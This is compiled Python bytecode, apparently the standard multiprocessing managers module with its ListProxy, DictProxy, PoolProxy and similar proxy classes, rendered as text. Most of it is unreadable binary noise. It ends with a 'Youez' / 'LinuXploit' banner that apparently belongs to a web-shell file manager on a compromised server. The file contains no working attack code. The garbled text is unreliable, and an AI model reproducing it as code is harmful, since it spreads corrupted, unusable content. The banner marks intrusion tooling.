AutoProxy[%s])r�rXrQT)rYr#r9r~r�r
rgrXr�r"r�)
r�rar�rXr�rQr�r�r�r�rrrr��s


r�c@seZdZdd�Zdd�ZdS)�	NamespacecKs|j�|�dS)N)r��update)r%r6rrrr&�szNamespace.__init__cCs^t|j���}g}x,|D]$\}}|�d�s|�d||f�qW|��d|jjd�|�fS)NrGz%s=%rz%s(%s)z, )	rr�r�
startswithrCr�r*r+r�)r%rrDrr�rrrr,�s
zNamespace.__repr__N)r+r-r.r&r,rrrrr��sr�c@s8eZdZddd�Zdd�Zdd�Zdd	�Zeee�Zd
S)�ValueTcCs||_||_dS)N)�	_typecode�_value)r%rr��lockrrrr&�szValue.__init__cCs|jS)N)r)r%rrrr��sz	Value.getcCs
||_dS)N)r)r%r�rrrr��sz	Value.setcCsdt|�j|j|jfS)Nz
%s(%r, %r))rr+rr)r%rrrr,�szValue.__repr__N)T)	r+r-r.r&r�r�r,r�r�rrrrr�s

rcCst�||�S)N)r)rZsequencerrrr�Arraysrc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�
IteratorProxy)�__next__r0�throwr~cCs|S)Nr)r%rrr�__iter__	szIteratorProxy.__iter__cGs|�d|�S)Nr)r�)r%r5rrrrszIteratorProxy.__next__cGs|�d|�S)Nr0)r�)r%r5rrrr0
szIteratorProxy.sendcGs|�d|�S)Nr	)r�)r%r5rrrr	szIteratorProxy.throwcGs|�d|�S)Nr~)r�)r%r5rrrr~szIteratorProxy.closeN)	r+r-r.r�r
rr0r	r~rrrrrsrc@s2eZdZdZddd�Zdd�Zdd	�Zd
d�ZdS)
�
AcquirerProxy)�acquire�releaseTNcCs"|dkr|fn||f}|�d|�S)Nr)r�)r%Zblockingr�r5rrrrszAcquirerProxy.acquirecCs
|�d�S)Nr
)r�)r%rrrr
szAcquirerProxy.releasecCs
|�d�S)Nr)r�)r%rrrr�szAcquirerProxy.__enter__cCs
|�d�S)Nr
)r�)r%r�r�r�rrrr�szAcquirerProxy.__exit__)TN)r+r-r.r�rr
r�r�rrrrrs

rc@s6eZdZdZddd�Zd
dd�Zdd	�Zdd
d�ZdS)�ConditionProxy)rr
rn�notify�
notify_allNcCs|�d|f�S)Nrn)r�)r%r�rrrrn$szConditionProxy.waitrcCs|�d|f�S)Nr)r�)r%�nrrrr&szConditionProxy.notifycCs
|�d�S)Nr)r�)r%rrrr(szConditionProxy.notify_allcCsh|�}|r|S|dk	r$t��|}nd}d}x6|sb|dk	rP|t��}|dkrPP|�|�|�}q.W|S)Nr)�timeZ	monotonicrn)r%Z	predicater�r8ZendtimeZwaittimerrr�wait_for*s

zConditionProxy.wait_for)N)r)N)r+r-r.r�rnrrrrrrrr"s


rc@s2eZdZdZdd�Zdd�Zdd�Zdd	d
�ZdS)�
EventProxy)rmr�r�rncCs
|�d�S)Nrm)r�)r%rrrrm?szEventProxy.is_setcCs
|�d�S)Nr�)r�)r%rrrr�AszEventProxy.setcCs
|�d�S)Nr�)r�)r%rrrr�CszEventProxy.clearNcCs|�d|f�S)Nrn)r�)r%r�rrrrnEszEventProxy.wait)N)r+r-r.r�rmr�r�rnrrrrr=s
rc@sNeZdZdZddd�Zdd�Zdd�Zed	d
��Zedd��Z	ed
d��Z
dS)�BarrierProxy)�__getattribute__rn�abort�resetNcCs|�d|f�S)Nrn)r�)r%r�rrrrnKszBarrierProxy.waitcCs
|�d�S)Nr)r�)r%rrrrMszBarrierProxy.abortcCs
|�d�S)Nr)r�)r%rrrrOszBarrierProxy.resetcCs|�dd�S)Nr)�parties)r�)r%rrrrQszBarrierProxy.partiescCs|�dd�S)Nr)�	n_waiting)r�)r%rrrrTszBarrierProxy.n_waitingcCs|�dd�S)Nr)�broken)r�)r%rrrrWszBarrierProxy.broken)N)r+r-r.r�rnrrr�rrrrrrrrIs
rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�NamespaceProxy)r�__setattr__�__delattr__cCs0|ddkrt�||�St�|d�}|d|f�S)NrrGr�r)�objectr)r%r��
callmethodrrr�__getattr__^szNamespaceProxy.__getattr__cCs4|ddkrt�|||�St�|d�}|d||f�S)NrrGr�r)rrr)r%r�r�r rrrrcszNamespaceProxy.__setattr__cCs0|ddkrt�||�St�|d�}|d|f�S)NrrGr�r)rrr)r%r�r rrrrhszNamespaceProxy.__delattr__N)r+r-r.r�r!rrrrrrr\src@s*eZdZdZdd�Zdd�Zeee�ZdS)�
ValueProxy)r�r�cCs
|�d�S)Nr�)r�)r%rrrr�qszValueProxy.getcCs|�d|f�S)Nr�)r�)r%r�rrrr�sszValueProxy.setN)r+r-r.r�r�r�r�r�rrrrr"osr"�
BaseListProxy)�__add__�__contains__�__delitem__�__getitem__�__len__�__mul__�__reversed__�__rmul__�__setitem__rC�count�extend�index�insertr��remove�reverser��__imul__c@seZdZdd�Zdd�ZdS)�	ListProxycCs|�d|f�|S)Nr.)r�)r%r�rrr�__iadd__szListProxy.__iadd__cCs|�d|f�|S)Nr3)r�)r%r�rrrr3�szListProxy.__imul__N)r+r-r.r5r3rrrrr4~sr4�	DictProxy)r%r&r'r
r(r,r�r�r�rrr��popitem�
setdefaultrrr
�Iterator�
ArrayProxy)r(r'r,�	PoolProxy)Zapply�apply_asyncr~�imap�imap_unorderedr��map�	map_async�starmap�
starmap_asyncr�ZAsyncResult)r<r@rBr=r>c@seZdZdd�Zdd�ZdS)r;cCs|S)Nr)r%rrrr��szPoolProxy.__enter__cCs|��dS)N)r�)r%r�r�r�rrrr��szPoolProxy.__exit__N)r+r-r.r�r�rrrrr;�sc@seZdZdS)rN)r+r-r.rrrrr�s	�QueueZ
JoinableQueuerer_�RLock�	Semaphore�BoundedSemaphore�	Condition�Barrier�Poolrr�F)r�r�)r�)NNNT)T)J�__all__rqr^rZqueuerr�r�r�contextr	r
rrr
rrrr�Z
view_typesrr!Z	view_typerrr9r2r|r>rFrHrIr�rbrcZXmlListenerZ	XmlClientrYrr�r�rr�r�r�r�rrrrrrrrr"r#r4r6r�r:Z
BasePoolProxyr;rrCrer_rDrErFrGrHrIr�rrrr�<module>s�


\
w
4


		





Youez - 2016 - github.com/yon3zu
LinuXploit